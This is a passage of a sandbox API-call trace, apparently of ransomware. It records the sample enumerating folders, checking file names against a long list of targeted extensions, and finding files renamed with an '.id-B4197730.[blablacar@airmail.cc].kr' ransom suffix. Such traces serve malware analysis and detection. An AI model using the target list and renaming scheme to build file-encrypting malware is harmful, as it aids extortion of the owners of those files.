lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".gz") returned 3 [0174.928] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0174.928] lstrlenW (lpString=".h") returned 2 [0174.928] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0174.928] lstrlenW (lpString=".hdr") returned 4 [0174.928] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".hpp") returned 4 [0174.928] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".hta") returned 4 [0174.928] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".htc") returned 4 [0174.928] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".htm") returned 4 [0174.928] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".html") returned 5 [0174.928] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0174.928] lstrlenW (lpString=".icb") returned 4 [0174.928] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".ics") returned 4 [0174.928] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".iff") returned 4 [0174.928] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".inc") returned 4 [0174.928] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".indd") returned 5 [0174.928] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0174.928] lstrlenW (lpString=".ini") returned 4 [0174.928] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0174.928] lstrlenW (lpString=".iqy") returned 4 [0174.929] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".j2c") returned 4 [0174.929] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".j2k") returned 4 [0174.929] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".java") returned 5 [0174.929] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0174.929] lstrlenW (lpString=".jp2") returned 4 [0174.929] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".jpc") returned 4 [0174.929] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".jpe") returned 4 [0174.929] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".jpeg") returned 5 [0174.929] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0174.929] lstrlenW (lpString=".jpf") returned 4 [0174.929] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".jpg") returned 4 [0174.929] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".jpx") returned 4 [0174.929] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".js") returned 3 [0174.929] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0174.929] lstrlenW (lpString=".jsf") returned 4 [0174.929] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".json") returned 5 [0174.929] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0174.929] lstrlenW (lpString=".jsp") returned 4 [0174.929] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".kdc") returned 4 [0174.929] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".kmz") returned 4 [0174.929] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".kwm") returned 4 [0174.929] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0174.929] lstrlenW (lpString=".lasso") returned 6 [0174.930] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0174.930] lstrlenW (lpString=".lbi") returned 4 [0174.930] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".lgf") returned 4 [0174.930] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".lgp") returned 4 [0174.930] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".log") returned 4 [0174.930] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".m1v") returned 4 [0174.930] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".m4a") returned 4 [0174.930] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".m4v") returned 4 [0174.930] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".max") returned 4 [0174.930] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".md") returned 3 [0174.930] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0174.930] lstrlenW (lpString=".mda") returned 4 [0174.930] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mdb") returned 4 [0174.930] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mde") returned 4 [0174.930] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mdf") returned 4 [0174.930] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mdw") returned 4 [0174.930] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mef") returned 4 [0174.930] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mft") returned 4 [0174.930] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0174.930] lstrlenW (lpString=".mfw") returned 4 [0174.931] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mht") returned 4 [0174.931] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mhtml") returned 6 [0174.931] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0174.931] lstrlenW (lpString=".mka") returned 4 [0174.931] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mkidx") returned 6 [0174.931] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0174.931] lstrlenW (lpString=".mkv") returned 4 [0174.931] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mos") returned 4 [0174.931] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mov") returned 4 [0174.931] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mp3") returned 4 [0174.931] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mp4") returned 4 [0174.931] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mpeg") returned 5 [0174.931] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0174.931] lstrlenW (lpString=".mpg") returned 4 [0174.931] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mpv") returned 4 [0174.931] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mrw") returned 4 [0174.931] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".msg") returned 4 [0174.931] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".mxl") returned 4 [0174.931] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".myd") returned 4 [0174.931] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".myi") returned 4 [0174.931] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0174.931] lstrlenW (lpString=".nef") returned 4 [0174.932] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".nrw") returned 4 [0174.932] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".obj") returned 4 [0174.932] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".odb") returned 4 [0174.932] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".odc") returned 4 [0174.932] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".odm") returned 4 [0174.932] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".odp") returned 4 [0174.932] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".ods") returned 4 [0174.932] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".oft") returned 4 [0174.932] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".one") returned 4 [0174.932] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".onepkg") returned 7 [0174.932] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0174.932] lstrlenW (lpString=".onetoc2") returned 8 [0174.932] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0174.932] lstrlenW (lpString=".opt") returned 4 [0174.932] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".oqy") returned 4 [0174.932] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".orf") returned 4 [0174.932] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".p12") returned 4 [0174.932] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".p7b") returned 4 [0174.932] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0174.932] lstrlenW (lpString=".p7c") returned 4 [0174.932] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pam") returned 4 [0174.933] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pbm") returned 4 [0174.933] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pct") returned 4 [0174.933] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pcx") returned 4 [0174.933] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pdd") returned 4 [0174.933] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pdf") returned 4 [0174.933] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pdp") returned 4 [0174.933] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pef") returned 4 [0174.933] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pem") returned 4 [0174.933] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pff") returned 4 [0174.933] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pfm") returned 4 [0174.933] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pfx") returned 4 [0174.933] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".pgm") returned 4 [0174.933] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".php") returned 4 [0174.933] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0174.933] lstrlenW (lpString=".php3") returned 5 [0174.933] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0174.933] lstrlenW (lpString=".php4") returned 5 [0174.933] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0174.933] lstrlenW (lpString=".php5") returned 5 [0174.933] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0174.933] lstrlenW (lpString=".phtml") returned 6 [0174.933] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0174.934] lstrlenW (lpString=".pict") returned 5 [0174.934] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".pl") returned 3 [0174.934] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0174.934] lstrlenW (lpString=".pls") returned 4 [0174.934] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".pm") returned 3 [0174.934] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0174.934] lstrlenW (lpString=".png") returned 4 [0174.934] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".pnm") returned 4 [0174.934] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".pot") returned 4 [0174.934] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".potm") returned 5 [0174.934] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".potx") returned 5 [0174.934] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".ppa") returned 4 [0174.934] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".ppam") returned 5 [0174.934] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".ppm") returned 4 [0174.934] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".pps") returned 4 [0174.934] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".ppsm") returned 5 [0174.934] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".ppt") returned 4 [0174.934] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0174.934] lstrlenW (lpString=".pptm") returned 5 [0174.934] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".pptx") returned 5 [0174.934] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0174.934] lstrlenW (lpString=".prn") returned 4 [0174.935] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0174.935] lstrlenW (lpString=".ps") returned 3 [0174.935] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0174.935] lstrlenW (lpString=".psb") returned 4 [0174.935] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0174.935] lstrlenW (lpString=".psd") returned 4 [0174.935] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0174.935] lstrlenW (lpString=".pst") returned 4 [0174.935] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0174.935] lstrlenW (lpString=".ptx") returned 4 [0174.935] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0174.935] lstrlenW (lpString=".pub") returned 4 [0174.935] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0174.935] lstrlenW (lpString=".pwm") returned 4 [0174.935] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0174.935] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285767e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc285767e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc28a386a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="OOBE_2~1.KR")) returned 1 [0174.935] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc287267d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc287267d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc290f51f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 1 [0174.935] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc287267d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc287267d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc290f51f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 0 [0174.935] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0174.936] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0174.936] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0174.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0174.936] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0174.937] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.937] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40bc6db, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc40bc6db, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4108bf4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="GETCUR~2.KR")) returned 1 [0174.937] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2dcf9c0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="GETCUR~1.KR")) returned 1 [0174.937] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc42ac57f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc42ac57f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc487c046, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 1 [0174.937] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc423aef1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc423aef1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc428638c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PREOOB~1.KR")) returned 1 [0174.937] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPC~1.KR")) returned 1 [0174.938] lstrlenW (lpString="SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr") returned 55 [0174.938] lstrlenW (lpString=".1cd") returned 4 [0174.938] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".3ds") returned 4 [0174.938] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".3fr") returned 4 [0174.938] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".3g2") returned 4 [0174.938] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".3gp") returned 4 [0174.938] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".7z") returned 3 [0174.938] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0174.938] lstrlenW (lpString=".accda") returned 6 [0174.938] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0174.938] lstrlenW (lpString=".accdb") returned 6 [0174.938] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0174.938] lstrlenW (lpString=".accdc") returned 6 [0174.938] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0174.938] lstrlenW (lpString=".accde") returned 6 [0174.938] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0174.938] lstrlenW (lpString=".accdt") returned 6 [0174.938] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0174.938] lstrlenW (lpString=".accdw") returned 6 [0174.938] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0174.938] lstrlenW (lpString=".adb") returned 4 [0174.938] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".adp") returned 4 [0174.938] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0174.938] lstrlenW (lpString=".ai") returned 3 [0174.939] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0174.939] lstrlenW (lpString=".ai3") returned 4 [0174.939] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".ai4") returned 4 [0174.939] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".ai5") returned 4 [0174.939] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".ai6") returned 4 [0174.939] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".ai7") returned 4 [0174.939] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".ai8") returned 4 [0174.939] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".anim") returned 5 [0174.939] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0174.939] lstrlenW (lpString=".arw") returned 4 [0174.939] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".as") returned 3 [0174.939] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0174.939] lstrlenW (lpString=".asa") returned 4 [0174.939] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".asc") returned 4 [0174.939] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".ascx") returned 5 [0174.939] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0174.939] lstrlenW (lpString=".asm") returned 4 [0174.939] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".asmx") returned 5 [0174.939] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0174.939] lstrlenW (lpString=".asp") returned 4 [0174.939] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0174.939] lstrlenW (lpString=".aspx") returned 5 [0174.939] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0174.939] lstrlenW (lpString=".asr") returned 4 [0174.940] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".asx") returned 4 [0174.940] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".avi") returned 4 [0174.940] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".avs") returned 4 [0174.940] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".backup") returned 7 [0174.940] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0174.940] lstrlenW (lpString=".bak") returned 4 [0174.940] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".bay") returned 4 [0174.940] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".bd") returned 3 [0174.940] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0174.940] lstrlenW (lpString=".bin") returned 4 [0174.940] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0174.940] lstrlenW 